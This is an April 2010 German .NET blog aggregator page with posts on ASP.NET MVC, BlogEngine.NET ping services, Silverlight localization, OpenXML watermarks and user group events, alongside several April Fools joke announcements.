Ich gebe den “Stock” hiermit offiziell an Klaus Bock und Gordon Breuer weiter, die per Twitter Interesse signalisiert haben :-)

[Update]

Da es in den letzten Stunden enormes Interesse an dem "deutschsprachigen .NET-Community MVP" gegeben hat, habe ich ein kleines Wiki aufgesetzt, welches Helfen soll, die oben beschriebene Idee zu verfeinern und ggf. weiter auszubauen: http://communityaward.dotnetkk.de/

Ich bin ehrlich positiv erstaunt und erfreut über das Interesse an dieser Idee. :-) Damit habe ich absolut nicht gerechnet.
Ich würde deshalb gerne noch weitere Meinungen und Ideen zu diesem Thema von anderen Interessierten erfahren :-)

Natürlich bin ich auch an Kritik und anderen Meinungen interessiert. Also her damit :-)

DotNetKicks-DE Image

Gedanken zu Test Driven Developement (TDD)

06.04.2010 03:43:00 | Jürgen Gutsch

Wer es noch nicht mitbekommen hat: René Drescher-Hackel hat – nachdem er einen Vortrag zum Thema bei der NUG Franken besucht hatte – eine interessante sehr interessante Diskussion zu Test Driven Developement (TDD) angestoßen, welche von Ralf Westphal in einem eigenen Beitrag aufgenommen wurde: Gedanken zu Gedanken zum TDD

Wer sich also über den Sinn und Nutzen von TDD Informieren möchte, sollte die Diskussion verfolgen. In diesem Fall handelt es sich nicht nur um eine einfache Diskussion, wie sie anderorts oft entstehen.

Aber lest selbst: Gedanken zum Test Driven Development (TDD)

Links während in der Diskussion:
(Ich versuche die Liste aktuell zu halten)

Gregor Biswanger:

Thomas Bandt:

Bernd Hengelein:

Christina Hirth:

Ralf Westphal:

DotNetKicks-DE Image

ASP.NET MVC: ModelBinder-Fehlermeldungen anpassen

04.04.2010 21:13:21 | Manfred Steyer

Der ModelBinder kümmert sich in ASP.NET MVC um das Konvertieren der an einen Controller übergebenen Parameter in komplexe Datentypen. Dies macht Action-Methoden wie DoStuff(Hamster h) möglich. Kann dabei einer der übergebenen Parameter nicht in den Zieltyp gecastet werden, wird die Fehlermeldung The value x is not valid for y für die jeweilige Property erzeugt.



Um diese Fehlermeldung anzupassen sind folgende Schritte notwendig:

1. Asp.Net-Ordner App_GlobalResources anlegen
2. In diesem Ordner ein Resourcen-File anlegen (z. B. Messages.resx )
3. In diesem Resourcenfile einen Eintrag PropertyValueInvalid mit der gewünschten Fehlermeldung anlegen.
4. In der global.asax in Application_Start festlegen, dass der ModelBinder diese Resourcen-Datei verwenden soll: DefaultModelBinder.ResourceClassKey = "Messages";

In früheren Versionen konnte man anscheinend mit dem Ressource-Key PropertyValueRequired auch die Fehlermeldung für Fälle, in denen ein Null-Wert nicht erlaubt ist (z. B. weil es sich beim Datentyp um einen primitiven handelt) anpassen. Bei meiner aktuellen Version (MVC 2 RC) scheint dies jedoch nicht zu funktionieren. Als Alternative steht dazu jedoch das Validierungs-Attribute Required zur Verfügung.

Die Ping Services in BlogEngine.NET effektiver nutzen

04.04.2010 15:32:08 | Klaus Bock

Wie ich bereits im früheren Artikel BlogEngine.NET und die Ping Services erwähnt habe, verwendet BlogEngine.NET die XML-RPC API etwas seltsam. Das soll aber nicht Inhalt dieses Artikel sein. Statt dessen will ich die Ping Services effektiver nutzen.

BlogEngine.NET verwendet im Moment die Methode weblogUpdates.ping, in der laut API-Beschreibung lediglich der Name des Blog sowie die Basis-URL angegeben werden.
Die Methode weblogUpdates.extendedPing bietet da weitaus mehr Möglichkeiten an. Mit ihr können zusätzlich noch die Adresse des gerade veröffentlichten oder aktualisierten Artikel sowie die URL des RSS-Feed mit gesendet werden. Wenn gewünscht, können auch die Tags des Artikel angehängt werden.
Wenn diese Möglichkeit besteht, warum sie also nicht nutzen? Die Erweiterung der Methode AddXmlToRequest in der Klasse PingService ist leicht umzusetzen, wie folgendes Listing zeigt:

private static void AddXmlToRequest(HttpWebRequest request, Uri url)
{
    var stream = (Stream)request.GetRequestStream();

    using (XmlTextWriter writer = new XmlTextWriter(stream, Encoding.ASCII))
    {
        writer.WriteStartDocument();
        writer.WriteStartElement("methodCall");
        writer.WriteElementString("methodName", "weblogUpdates.extendedPing");
        writer.WriteStartElement("params");

        // Blog Name
        writer.WriteStartElement("param");
        writer.WriteElementString("value", BlogSettings.Instance.Name);
        writer.WriteEndElement();

        // Blog Basis-URL
        writer.WriteStartElement("param");
        writer.WriteElementString("value", url.GetLeftPart(UriPartial.Authority) + Utils.RelativeWebRoot);
        writer.WriteEndElement();

        // Artikel URL
        writer.WriteStartElement("param");
        writer.WriteElementString("value", url.ToString());
        writer.WriteEndElement();

        // Adresse des Rss-Feed
        writer.WriteStartElement("param");
        writer.WriteElementString("value", Utils.FeedUrl);
        writer.WriteEndElement();

        writer.WriteEndElement();
        writer.WriteEndElement();
    }
}

Die meisten Ping Services unterstützen mittlerweile die Methode weblogUpdates.extendedPing ohne Probleme. Hier eine kleine Liste der von mir getesteten Dienste, bei denen die erweiterte Methode problemlos funktioniert:

  • http://api.moreover.com/RPC2
  • http://blogpingr.de/ping/rpc2
  • http://blogsearch.google.com/ping/RPC2
  • http://ping.blo.gs/
  • http://ping.feedburner.com
  • http://rpc.icerocket.com:10080
  • http://rpc.weblogs.com/RPC2
  • http://services.newsgator.com/ngws/xmlrpcping.aspx
  • http://xmlrpc.bloggernetz.de/RPC2

Ein weiteres Manko von BlogEngine.NET im Umgang mit den Ping Services, ist die sparsame Verwendung derselben. Im Moment werden die Ping Services nur verwendet, wenn ein Artikel oder eine Seite gespeichert werden. Warum wird nicht auch auf Änderungen in den Kommentaren reagiert? Ein Blog lebt von den Kommentaren. Außerdem stellt in meinen Augen ein hinzugefügter oder entfernter Kommentar eine Änderung des Artikel dar. Oft genug wird in einem Kommentar ein wertvoller Hinweis, oder eine gut gemeinte Anmerkung zum Artikel gegeben, welche einem späteren Leser helfen können.

BlogEngine.NET bietet die Möglichkeit, bei Änderungen an den Kommentaren eines Post, ein Ereignis auszulösen. Damit ist die restliche Implementierung nur noch Formsache, wie man in folgendem Listing der statischen Klasse SendPings sehen kann:

static SendPings()
{
    Post.Saved += new EventHandler<SavedEventArgs>(Post_Saved);
    Page.Saved += new EventHandler<SavedEventArgs>(Post_Saved);
    Post.CommentAdded += new EventHandler<EventArgs>(Post_Commented);
    Post.CommentUpdated += new EventHandler<EventArgs>(Post_Commented);
    Post.CommentRemoved += new EventHandler<EventArgs>(Post_Commented);
}

Da die Kommentarereignisse einem anderen Typ der EventArgs-Klasse verwendet, muss noch eine zusätzliche Methode zum verarbeiten der Ereignisse eingefügt werden.

private static void Post_Commented(object sender, EventArgs e)
{
    IPublishable item = (IPublishable)sender;

    if (item.IsVisibleToPublic)
    {
        Uri url = item.AbsoluteLink;
        ThreadPool.QueueUserWorkItem(delegate { Ping(item, url); });
    }
}

Jetzt werden beim Hinzufügen, Löschen oder Ändern eines Kommentar der Aufruf der Ping Services ausgelöst und so ein genaueres Abbild des Status des jeweiligen Artikel geliefert.
Da der Aufruf der Dienste in einem separaten ThreadPool ausgeführt wird, ist eine Beeinträchtigung der Leistung des Blog durch einen häufigeren Aufruf derselben kaum zu befürchten.

Fazit:

Wenn schon Ping Services in einem Blog verwendet werden um Aktualisierungen zu melden, warum soll dann nicht jede Aktualisierung gemeldet werden? Für mein Dafürhalten gehört auch ein hinzugefügter, entfernter oder geänderter Kommentar zur Aktualisierung eines Blog.

Technorati-Tags: | |

Lambdas machen das Leben schön. Oder: wie caste ich ein Array?

04.04.2010 13:56:00 | Alexander Zeitler

Es gibt Momente, da wird einem die Evolution des .NET Frameworks ziemlich deutlich vor Augen geführt.

So zum Beispiel beim Casten von Arrays – z.B. von object[] nach string[].

Die .NET Framework 1.x Variante könnte etwa so ausgesehen haben:

object[] objects = new object[];
//...
// Elemente zu “input” hinzufügen
//...
string[] strings = new string[objects.Length];
for (int index = 0; index < input.Length; index++)
{
	strings[index] = (string)objects[index];
}

Mit dem .NET Framework 2.0 wurden Generics eingeführt, was die Sache schon erleichterte (die Deklaration von “objects” spare ich mir im weiteren):

string[] strings = Array.ConvertAll<object, string>(objects,
delegate(object obj)
{
	return (string)obj;
});

Durch die Einführung von Lambda Expressions mit .NET 3.5 wurde die Lesbarkeit des Codes nochmal verbessert und die Tipparbeit reduziert:

string[] strings = Array.ConvertAll(objects, obj => (string)obj);

Der Lernaufwand lohnt sich also doch irgendwann ;-)

ReSharper zeigt Farbschema nicht korrekt an

04.04.2010 13:24:00 | Alexander Zeitler

Nachdem ich jetzt zum x-ten Mal darüber gestolpert bin:

Wenn ReSharper trotz korrekter Einstellungen in Tools / Options / Environment / Fonts and Colors in Visual Studio, die Einstellungen scheinbar nicht erkennt (im speziellen betrifft dies Methoden, Klassen usw.) und das Farbschema ziemlich blaß wirkt

kein korrektes Color Coding

sollte man in den ReSharper Settings prüfen, ob die Option “Color identifiers” aktiviert ist:

ReSharper Option "Color Identifier" 

Danach zeigt Visual Studio bzw. ReSharper das Farbschema korrekt an:

Code in voller Farbenpracht

Localization in Silverlight 3

03.04.2010 12:10:00 | Patric Schouler

Um eine Silverlight 3 Anwendung zu lokalisieren, gibt es einen wichtigen Punkt, den man auch nicht unbedingt auf den Microsoft “How-To-Dos” findet. Man muss nämlich zum Notepad greifen und das csproj-File seines Silverlight-Projekts editieren. In der Sektion SupportedCultures müssen alle unterstützen Cultures der Silverlight Anwendung eingetragen werden. Macht man dies nicht, so werden im XAP durch den Compiler keine Ressourcendateien erzeugt.

Beispiel (nur deutsche und Default-Culture verfügbar):

   1: <SupportedCultures>de
   2:     </SupportedCultures>

Folgende Schritte sind zur Lokalisierung notwendig:

  1. Ressourcen-Dateien hinzufügen
  2. Access-Modifier der Ressourcen-Dateien (im Ressource Editor) auf Public stellen
  3. Eine Zugriffsklasse auf das Ressource-File definieren (Namespace des Ressource-Files im Beispiel AppServices.Ressources und Name des Ressource-File ist CommonRessources).
       1: namespace AppServices
       2: {
       3:     public class LocalizedStrings
       4:     {
       5:         public LocalizedStrings()
       6:         {
       7:         }
       8:         private static AppServices.Resources.CommonRessource commonRessource = new AppServices.Resources.CommonRessource();
       9:         public AppServices.Resources.CommonRessource CommonRessource { get { return commonRessource; } }
      10:     }
      11:  
      12: }
  4. In UserControl.Ressources oder Application.Ressources des Silverlight UserControls oder der Silverlight Seite die angelegte Zugriffsklasse aus (3) referenzieren (Namespace und Name anpassen)

       1: <UserControl.Resources>
       2:         <local:LocalizedStrings xmlns:local ="clr-namespace:AppServices"
       3:                            x:Key="LocalizedStrings" />
  5. Das Silverlight Control an die Ressource binden. Hier muss im Binding Path der Dateiname des Ressource-Files und der Key der Resource verwendet werden! Die Source-Eigenschaft enthält den Key aus (4)

       1: <Button Height="23" Width="73.5" 
       2:        Canvas.Left="24" Canvas.Top="118.5" 
       3:        Content="{Binding Path=CommonRessource.btn_signin, Source={StaticResource LocalizedStrings }}" 
  6. Die neutrale Sprache im Assembly Info File einstellen. Entweder über die Properties->Assembly Information in Visual Studio oder direkt in der AssembleyInfo.cs-Datei.

  7. [assembly: NeutralResourcesLanguageAttribute("en")]

Herzlichen Glückwunsch zum Microsoft MVP 2010

02.04.2010 07:26:00 | Lars Keller

Herzlichen Glückwunsch! Wir freuen uns, Ihnen den Microsoft® MVP Award 2010 verleihen zu können! Diese Auszeichnung wird an herausragende, führende Mitglieder der technischen Communities verliehen, die ihre wertvollen praktischen Erfahrungen mit anderen Menschen teilen. Wir schätzen Ihren außerordentlich bedeutenden Beitrag in den technischen Communities zum Thema VSTO im vergangenen Jahr hoch ein.

Gestern erreichte mich diese nette E-Mail, welche mich sehr erfreut hat. Ich bin für ein weiteres Jahr als Microsoft MVP für VSTO ausgezeichnet worden. Es ist schön ein Teil dieser wunderbaren Community zu sein! Ich fühle mich sehr geehrt! Dankeschön! :-)

Wasserzeichen für Word Dokumente

01.04.2010 22:10:00 | Jan Christian Selke

Wasserzeichen in ein Worddokument einzufügen ist über die Word Oberfläche kein Problem.

Seitenlayout >> Wasserzeichen >> Wasserzeichenvorlage auswählen … Feuer frei.

Wie lässt sich dieser Vorgang aber in Quellcode ausdrücken. Ähnlich wie bei allen Vorgängen, die mit Bildern (jedenfalls im weitesten Sinne mit Bildern) in Word zu tun haben, ist dieser Vorgang etwas aufwändiger. Zumindest ausgehend von der reinen Menge an zu schreibendem Quellcode.

Im folgenden ein Beispiel, wie ein Wasserzeichen einem Dokument hinzugefügt werden kann. Um etwas Platz zu sparen, habe ich mich in den ersten Methoden etwas knapper gehalten… ;-) Auf eine detaillierte Beschreibung aller Elemente möchte ich diesmal verzichten.

Der wirklich interessante Teil zum Hinzufügen eines Wasserzeichens befindet sich in der Methode CreateShape.

    public class Watermark
{
public void AddToDocument(MainDocumentPart mainDocumentPart)
{
foreach (var header in mainDocumentPart.HeaderParts)
{
AddToHeader(header);
}
}

private void AddToHeader(HeaderPart part)
{
if (part.Header == null)
{
part.Header = new Header();
}

part.Header.Append(CreateSdtBlock());
part.Header.Save();
}

private SdtBlock CreateSdtBlock()
{
return new SdtBlock(new OpenXmlElement[] { CreateSdtProperties(), CreateSdtContentBlock() });
}

private SdtContentBlock CreateSdtContentBlock()
{
return new SdtContentBlock(CreateParagraph());
}

private Paragraph CreateParagraph()
{
return new Paragraph(new OpenXmlElement[] { CreateParagraphProperties(), CreateRun() });
}

private ParagraphProperties CreateParagraphProperties()
{
return new ParagraphProperties(new ParagraphStyleId { Val = "Header" });
}

private Run CreateRun()
{
return new Run(new OpenXmlElement[] { CreateRunProperties(), CreatePicture() });
}

private RunProperties CreateRunProperties()
{
var runProperties1 = new RunProperties();
var noProof1 = new NoProof();
var languages1 = new Languages { Val = "en-US", EastAsia = "zh-TW" };

runProperties1.Append(noProof1);
runProperties1.Append(languages1);

return runProperties1;
}

private SdtProperties CreateSdtProperties()
{
var sdtProperties1 = new SdtProperties();
var sdtId1 = new SdtId { Val = 285922954 };
var sdtContentDocPartObject1 = new SdtContentDocPartObject();
var docPartGallery1 = new DocPartGallery { Val = "Watermarks" };
var docPartUnique1 = new DocPartUnique();

sdtContentDocPartObject1.Append(docPartGallery1);
sdtContentDocPartObject1.Append(docPartUnique1);

sdtProperties1.Append(sdtId1);
sdtProperties1.Append(sdtContentDocPartObject1);

return sdtProperties1;
}

private Picture CreatePicture()
{
var picture1 = new Picture();
var shapetype1 = CreateShapetype();
var shape1 = CreateShape();

picture1.Append(shapetype1);
picture1.Append(shape1);

return picture1;
}

private Shape CreateShape()
{
var shape1 = new Shape { Id = "PowerPlusWaterMarkObject357476642", Style = "position:absolute;margin-left:0;margin-top:0;width:527.85pt;height:131.95pt;rotation:315;z-index:-251656192;mso-position-horizontal:center;mso-position-horizontal-relative:margin;mso-position-vertical:center;mso-position-vertical-relative:margin", OptionalString = "_x0000_s3073", AllowInCell = false, FillColor = "silver", Stroked = false, Type = "#_x0000_t136" };
var fill1 = new Fill { Opacity = ".5" };
var textPath2 = new TextPath { Style = "font-family:\"Calibri\";font-size:1pt", String = "VERTRAULICH" };
var textWrap1 = new Wvml.TextWrap { AnchorX = Wvml.HorizontalAnchorValues.Margin, AnchorY = Wvml.VerticalAnchorValues.Margin };

shape1.Append(fill1);
shape1.Append(textPath2);
shape1.Append(textWrap1);

return shape1;
}

private Shapetype CreateShapetype()
{
var shapetype1 = new Shapetype { Id = "_x0000_t136", CoordinateSize = "21600,21600", OptionalNumber = 136, Adjustment = "10800", EdgePath = "m@7,l@8,m@5,21600l@6,21600e" };

var formulas1 = CreateFormulas();
var path1 = new Path { AllowTextPath = true, ConnectionPointType = Ovml.ConnectValues.Custom, ConnectionPoints = "@9,0;@10,10800;@11,21600;@12,10800", ConnectAngles = "270,180,90,0" };
var textPath1 = new TextPath { On = true, FitShape = true };
var handles1 = CreateHandles();
var lock1 = new Ovml.Lock { Extension = ExtensionHandlingBehaviorValues.Edit, TextLock = true, ShapeType = true };

shapetype1.Append(formulas1);
shapetype1.Append(path1);
shapetype1.Append(textPath1);
shapetype1.Append(handles1);
shapetype1.Append(lock1);

return shapetype1;
}

private Handles CreateHandles()
{
var handles1 = new Handles();
var handle1 = new Handle { Position = "#0,bottomRight", XRange = "6629,14971" };

handles1.Append(handle1);

return handles1;
}

private Formulas CreateFormulas()
{
var formulas1 = new Formulas();
var formula1 = new Formula { Equation = "sum #0 0 10800" };
var formula2 = new Formula { Equation = "prod #0 2 1" };
var formula3 = new Formula { Equation = "sum 21600 0 @1" };
var formula4 = new Formula { Equation = "sum 0 0 @2" };
var formula5 = new Formula { Equation = "sum 21600 0 @3" };
var formula6 = new Formula { Equation = "if @0 @3 0" };
var formula7 = new Formula { Equation = "if @0 21600 @1" };
var formula8 = new Formula { Equation = "if @0 0 @2" };
var formula9 = new Formula { Equation = "if @0 @4 21600" };
var formula10 = new Formula { Equation = "mid @5 @6" };
var formula11 = new Formula { Equation = "mid @8 @5" };
var formula12 = new Formula { Equation = "mid @7 @8" };
var formula13 = new Formula { Equation = "mid @6 @7" };
var formula14 = new Formula { Equation = "sum @6 0 @5" };

formulas1.Append(formula1);
formulas1.Append(formula2);
formulas1.Append(formula3);
formulas1.Append(formula4);
formulas1.Append(formula5);
formulas1.Append(formula6);
formulas1.Append(formula7);
formulas1.Append(formula8);
formulas1.Append(formula9);
formulas1.Append(formula10);
formulas1.Append(formula11);
formulas1.Append(formula12);
formulas1.Append(formula13);
formulas1.Append(formula14);

return formulas1;
}
}


Alternativ kann anstelle eines Textes auch ein Bild als Wasserzeichen dem Dokument hinzugefügt werden. Dazu muss innerhalb des Picture Elements, genauer gesagt innerhalb des Elements Shape, der folgende Code eingefügt werden.



V.Shape shape = new V.Shape()
{
Id = "WordPictureWatermark289112470",
Style = "position:absolute;margin-left:0;margin-top:0;width:453.6pt;height:340.2pt;z-index:-251656192;mso-position-horizontal:center;mso-position-horizontal-relative:margin;mso-position-vertical:center;mso-position-vertical-relative:margin",
OptionalString = "_x0000_s3076",
AllowInCell = false,
Type = "#_x0000_t75"
};
V.ImageData imageData = new V.ImageData
{
Gain = "19661f",
BlackLevel = "22938f",
Title = "show_bildCA5I22SA",
RelationshipId = "rId1"
};
shape.Append(imageData);


Statt eines Fill, Textpath und eines TextWrap Elements wird einfach ein ImageData hinzugefügt, dass allerdings zuvor als externe Referenz eingebunden werden muss.



Viel Spass beim selber machen! :-)

Der Erste April für Techies – Eine Linksammlung

01.04.2010 11:31:36 | Jan Schenk

Internetabschaltung made by Tagesschau:
http://www.tagesschau.de/ausland/internetabschaltung100.html

Neuer Formfaktor für mobile Geräte:
http://blogs.msdn.com/clemenslutsch/archive/2010/04/01/so-wird-das-handy-von-morgen-aussehen-neues-von-research.aspx

Visual Studio On-the-Go – Eine Entwicklungsumgebung wird mobil:
http://www.microsoft.com/germany/visualstudio/products/onthego/default.aspx

Windows Phone 7 Series R2.5 Enterprise Edition with Multitasking:
http://blogs.msdn.com/frankpr/archive/2010/04/01/windows-phone-7-series-r2-5-enterprise-edition-with-multitasking-kommt.aspx

E-Mail-Porto (nicht ganz neu):
http://www.br-online.de/bayern3/ratgeber-und-geld/e-mail-porto-voting-abzocke-ID1270020444297.xml

Windows 8, wie es aussehen wird:
http://news.magnus.de/software/artikel/microsoft-verraet-so-wird-windows-8-magnus-de-exklusiv.html

Hartz IV und der Kaufmannsladen:
http://www.spiegel.de/wirtschaft/soziales/0,1518,686388,00.html

Windows 7 .NET User Group Tour im Frühjahr

01.04.2010 09:56:59 | Oliver Scheer

Tolle Neuigkeiten für alle Windows 7-interessierten Entwickler! In diesem Frühjahr wird Peter Kirchner von Microsoft Deutschland eine Tour durch zahlreiche .NET User Groups in Deutschland zum Thema Windows 7 machen. In den folgenden User Groups dürfen wir Sie ganz herzlich als Gäste begrüßen!

Braunschweig

Dienstag, 20. April 2010

Ulm

Mittwoch, 21. April 2010

Paderborn

Montag, 3. Mai 2010

Köln

Dienstag, 4. Mai 2010

Bremen

Mittwoch, 5. Mai 2010

Berlin

Donnerstag, 6. Mai 2010

München

Dienstag, 18. Mai 2010

Augsburg

Donnerstag, 20. Mai 2010

Stuttgart

Mittwoch, 26. Mai 2010

Beschreibung der Themen

Der Hauptfokus bei Windows 7 wurde auf die weitere Verbesserung der Sicherheit, Zuverlässigkeit und Performance des Betriebssystems gelegt - und auf die größtmögliche Kompatibilität zu Windows Vista , damit bereits bestehende Anwendungen auch in Zukunft laufen. Für Entwickler bietet Windows 7 viele neue Schnittstellen, um Anwendungen mit umfassenderen Funktionen zu versehen, die dem Endbenutzer eine neue Erfahrung im Umgang mit Software ermöglichen.

In dem Vortrag erfahren Sie, wie Sie sich nahtlos ins Betriebssystem integrieren, indem Sie z.B. die neue Taskbar nutzen, die Preview-Ansichten steuern, Status-Informationen ausgegeben oder die Sprunglisten nach Ihren Wünschen anpassen. Wir demonstrieren u.a. die Verwendung der in Windows 7 eingeführten Bibliotheken, um den Zugriff auf Dokumente Ihrer Anwendung zu vereinfachen und auch die neuen Multitouch-Funktionen, die eine neue Interaktion zwischen Mensch und System ermöglichen.

Zusätzlich erfahren Sie, welche Punkte zu beachten sind, um die Kompatibilität Ihrer Anwendung mit Windows 7 sicherzustellen, wenn diese bereits auf Windows XP oder Windows Vista laufen.

Neue MSDN-TV Folge online 05/2010

01.04.2010 09:51:49 | Oliver Scheer

Premiere bei msdn tv: im Gespräch mit Microsoft-Produktmanager Raoul von Strauss wirft Moderator Jan Schenk einen ersten Blick auf das Microsoft-Problemlösungstool „Stampede“. Die Anwendung ermöglicht eine rückwirkende Bearbeitung von Projektplänen sowie die nachträgliche Delegation von Verantwortlichkeiten bei verspäteten bzw. komplett fehlerhaften Deliverables (Blame-Management). Stampede ist als Plug-in für sämtliche Produkte verfügbar, die Microsoft jemals veröffentlicht hat – wahlweise in einer Einzelplatzversion oder als „Stampede Team System“ für notorisches Organisationsversagen. Im Interview demonstriert Raoul von Strauss den Einfluss von Stampede auf die Belegschaftsdichte anhand eines praktischen Beispiels.

Get Microsoft Silverlight

Visual Studio 2010 On-The-Go

01.04.2010 09:49:43 | Oliver Scheer

clip_image001

 

Mehr Informationen hier

msdn tv – Nachrichten für Entwickler (Ausgabe 05/2010)

01.04.2010 09:44:22 | Jan Schenk

Get Microsoft Silverlight

Premiere bei msdn tv: im Gespräch mit Microsoft-Produktmanager Raoul von Strauss wirft Moderator Jan Schenk einen ersten Blick auf das Microsoft-Problemlösungstool „Stampede“. Die Anwendung ermöglicht eine rückwirkende Bearbeitung von Projektplänen sowie die nachträgliche Delegation von Verantwortlichkeiten bei verspäteten bzw. komplett fehlerhaften Deliverables (Blame-Management). Stampede ist als Plug-in für sämtliche Produkte verfügbar, die Microsoft jemals veröffentlicht hat – wahlweise in einer Einzelplatzversion oder als „Stampede Team System“ für notorisches Organisationsversagen. Im Interview demonstriert Raoul von Strauss den Einfluss von Stampede auf die Belegschaftsdichte anhand eines praktischen Beispiels.

msdn tv ist ein neues Video-Nachrichtenformat, und hat seinen Ursprung auf MSDN Online (http://www.msdn-online.de/msdntv/). Alle zwei Wochen präsentiert Ihnen Jan Schenk, Developer Evangelist mit Hut, die wichtigsten Neuigkeiten für Entwickler, Hintergrundberichte und Interviews zu aktuellen Technologien sowie Highlights von Messen und Konferenzen. Das ganze kompakt, in ca. 15 Minuten erfrischend jung verpackt , und sowohl als Download für Ihren Rechner oder im Online-Player per Streaming verfügbar.

msdn tv is a German-speaking new and innovative video news series, and has originally been featured exclusively on the German MSDN Online Platform (http://www.msdn-online.de/msdntv/). Hatted Developer Evangelist Jan Schenk biweekly presents latest news for developers, background-stories and interviews concerning current and upcoming technologies, as well as video-highlights from fairs and conferences. Packed into 15 minutes, these news videos feature a fresh informative style, and are downloadable as well as available as online streaming video.

Infragistics announces NetAdvantage for Powershell

01.04.2010 07:19:21 | Andre Kraemer

One of the many benifits as an Infragistics MVP is that you get quite early involved in product development in order to give feedback.

This could either be feedback on a new feature, an API change, or a brand new product!

Last spring it was time to give feedback again. There was an email on the Infragistics NDA mailing list which announced that work on a new product - Infragistics NetAdvantage for Powershell - had been started. Being an absolute Powershell fan, I felt really excited to offer my help with alpha and beta testing, giving feedback, etc.

After some great discussions between the director of product management Joseph Berres, lead developer Ambrose J. Tall and some Infragistis MVPs, the team managed to finish a first proof of concept prototype in early September. Some weeks later I met Dr. Tony Komischke, Director of User Experience at Infragistics, at the Basta conference in Germany. There he gave me a first demo of the product. At this point he was able to show me an early Version of the powershell grid: Infragistics NetAdvantage for Powershell powerGrid. I would have loved to see the charting component powerChart, too. Unfortunately it hadn't been ready for presentation at that time.

To my question how the idea for a whole powershell suite had been born, Tony Komischke gave me a quite interesting answer:

It was actually one of our internal IT guys who had the idea. During a meeting he complained that lately more and more server products came to market without an usable admin UI. Instead he had to struggle with some colourless command line tools.

This situation started the whole thing. We all thought that Windows administrators love decent UIs and don't want to work with a boring command line. If they liked the command line, they would have become Linux administrators!

And that's the point of Infragistics NetAdvantage for Powershell. With this product, we give administrators back what they deserve!

Since Basta conference some time went by. The product has nearly arrived at its final state. Starting with tomorrow, registered users will be able to download at CTP Version of it in the download area of Infrastics' homepage.

The first webinars on NetAdvantage for Powershell will be made available approximately next week by Infragistics new media evangelist Jeff Shoemaker.

During the quaterly Infragistics MVP call, Mr Beres stated:

"We really wanted to show off our high end visualizations in a DOS window" said Beres.  "PowerShell gave us a great opportunity to mix data analytics with the new features in the Command Window, like colorization" he continued.

As an Infragistics MVP I already enjoyed testing the product. Below you're going to find some impressions:

The powershell standard output

01_original

Output as PowerGrid. Notice the usage of the sortable table pattern as well as table and column borders.

02_powerGrid

The corner treatements pattern which includes curves in all rectangle corners didn't make it into the CTP as there were some performance issues with GDI+ and the gpu's hardware acceleration.

Output as PowerChart. I've chosen a bar chart as output type

03_powerChart



blog.codemurai.de © André Krämer |Impressum | Abonieren

dotnet Cologne 2010

01.04.2010 02:17:25 | Roland Weigelt

Am 28.5 findet in Köln die dotnet Cologne 2010 statt, eine von der .NET User Group Köln und der von mir geleiteten Gruppe Bonn-to-Code.Net gemeinsam organisierten Konferenz zum Launch von Visual Studio 2010 und .NET Framework 4.

Die Registrierung ist seit Anfang März möglich, und obwohl es bisher kaum konkrete Details zu den Sprechern und Vorträgen gab, haben sich bereits über 250 Teilnehmer angemeldet. Das zeugt von hervorragender Mund-zu-Mund-Propaganda, nicht zuletzt ein klares Zeichen für den Erfolg der letztjährigen dotnet Cologne 2009.

Hinter den Kulissen brach ein wahrer Sturm von Vortragsvorschlägen über das Orga-Team (bestehend aus Stefan Lange, Albert Weinert und mir) herein. In mehreren Runden versuchten wir, die richtige Mischung zwischen einführenden und tiefgehenden Themen zu finden. Dabei wurde schnell klar, dass wir nicht mit den ursprünglich geplanten drei Tracks auskommen würden.

Deshalb haben wir nach reiflicher Überlegung einen vierten Track eingerichtet, darüber hinaus bieten wir - nach dem Vorbild anderer Konferenzen - dieses Jahr auch Lunch-Sessions an.

Seit heute steht nun ein Großteil der Vorträge offiziell fest, nur noch einige wenige Slots sind noch frei. Wer bisher mit der Anmeldung gezögert hat, sollte schnell einen Blick hineinwerfen und sich entscheiden. Denn ab einer der Marke von 300 Teilnehmern wird eine Warteliste eingerichtet. Zwar werden erfahrungsgemäß später einige Plätze wieder frei, aber wer ganz sicher einen Platz bei der dotnet Cologne 2010 haben möchte, sollte sich bald anmelden.

Denn: Ein ganzer Tag vollgepackt mit Informationen, viele bekannte Namen der deutschen .NET-Community nicht nur auf der Sprecherliste-, sondern auch unter den Teilnehmern – und am Abend dann noch die Grillfete des dotnet Forum. Wer da nicht dabei ist, der wird wird echt etwas verpassen…

Infragistics kündigt NetAdvantage for Powershell CTP an

01.04.2010 00:43:49 | Andre Kraemer

Einer der vielen Vorteile als Infragistics MVP ist es, dass man als relativ früh in die Produktentwicklung involviert wird, um Feedback geben zu können.

Dies kann entweder Feedback über neue Features, API Veränderungen, oder aber auch ganz neue Produkte sein.

Letztes Frühjahr war es wieder so weit. Über der Infragistics NDA Mailing Liste kam eine E-Mail, in der die ersten Arbeiten an einem neuen Produkt, nämlich NetAdvantage for Powershell, angekündigt wurden. Als absoluter Powershell Fan ergriff ich natürlich die Gunst der Stunde und bot meine Hilfe in Form von Alpha Tests, Feedback, etc an.

Nach regem Austausch zwischen dem Director of Product Management Joseph Berres, dem leitenden Entwickler Ambrose J. Tall und einigen Infragistics MVPs stand Anfang September der erste, wenn auch etwas wacklige Proof-Of-Concept Prototyp. Diesen konnte ich mir dann auch auf der Basta von Dr. Tony Komischke, Director of User Experience bei Infragistics, vorführen lassen. Zeigen konnte er mir eine erste Version des Powershell Grids: Infragistics NetAdvantage for Powershell powerGrid. Sehr gerne gesehen hätte ich damals auch die Charting Komponente powerChart. Leider war diese zu diesem Zeitpunkt jedoch noch nicht in einem vorzeigbaren Stadium.

Sehr interessant fand ich übrigens Tony Komischkes Antwort auf meine Frage wie die Idee für eine Powershellproduktsuite aufkam:

Die Idee hatte einer unserer internen IT Mitarbeiter. Er beschwerte sich während eines Meetings, dass in letzter Zeit immer mehr Serverprodukte mit abgespeckter grafischer Administrationsoberfläche auf den Markt kämen. Stattdessen müsste er sich nun mit farblosen Kommandozeilenwerkzeugen herumschlagen.

Diese Situation war der eigentliche Auslöser. Schnell war uns klar, dass Windows Administratoren ansprechende GUIs und keine fade Kommandozeile möchten. Würden Sie Kommandozeilen mögen, wären Sie schließlich Linux Administratoren geworden.

An diesem Punkt setzt NetAdvantage for Powershell. Mit diesem Produkt gibt Infragistics Windows Administratoren zurück, was sie verdienen!

Seit der Basta ist einige Zeit vergangen. Das Produkt nähert sich seiner endgültigen Form und steht ab morgen registrierten Benutzern als CTP im Downloadbereich der Infragistics Homepage zur Verfügung.

Erste Trainingsvideos wird Infragistics New Media Evangelist Jeff Shoemaker voraussichtlich kommende Woche online stellen.

Als Infragistics MVP hatte ich die Freude, das Produkt bereits ausgiebig zu testen. Anbei einige Impressionen:

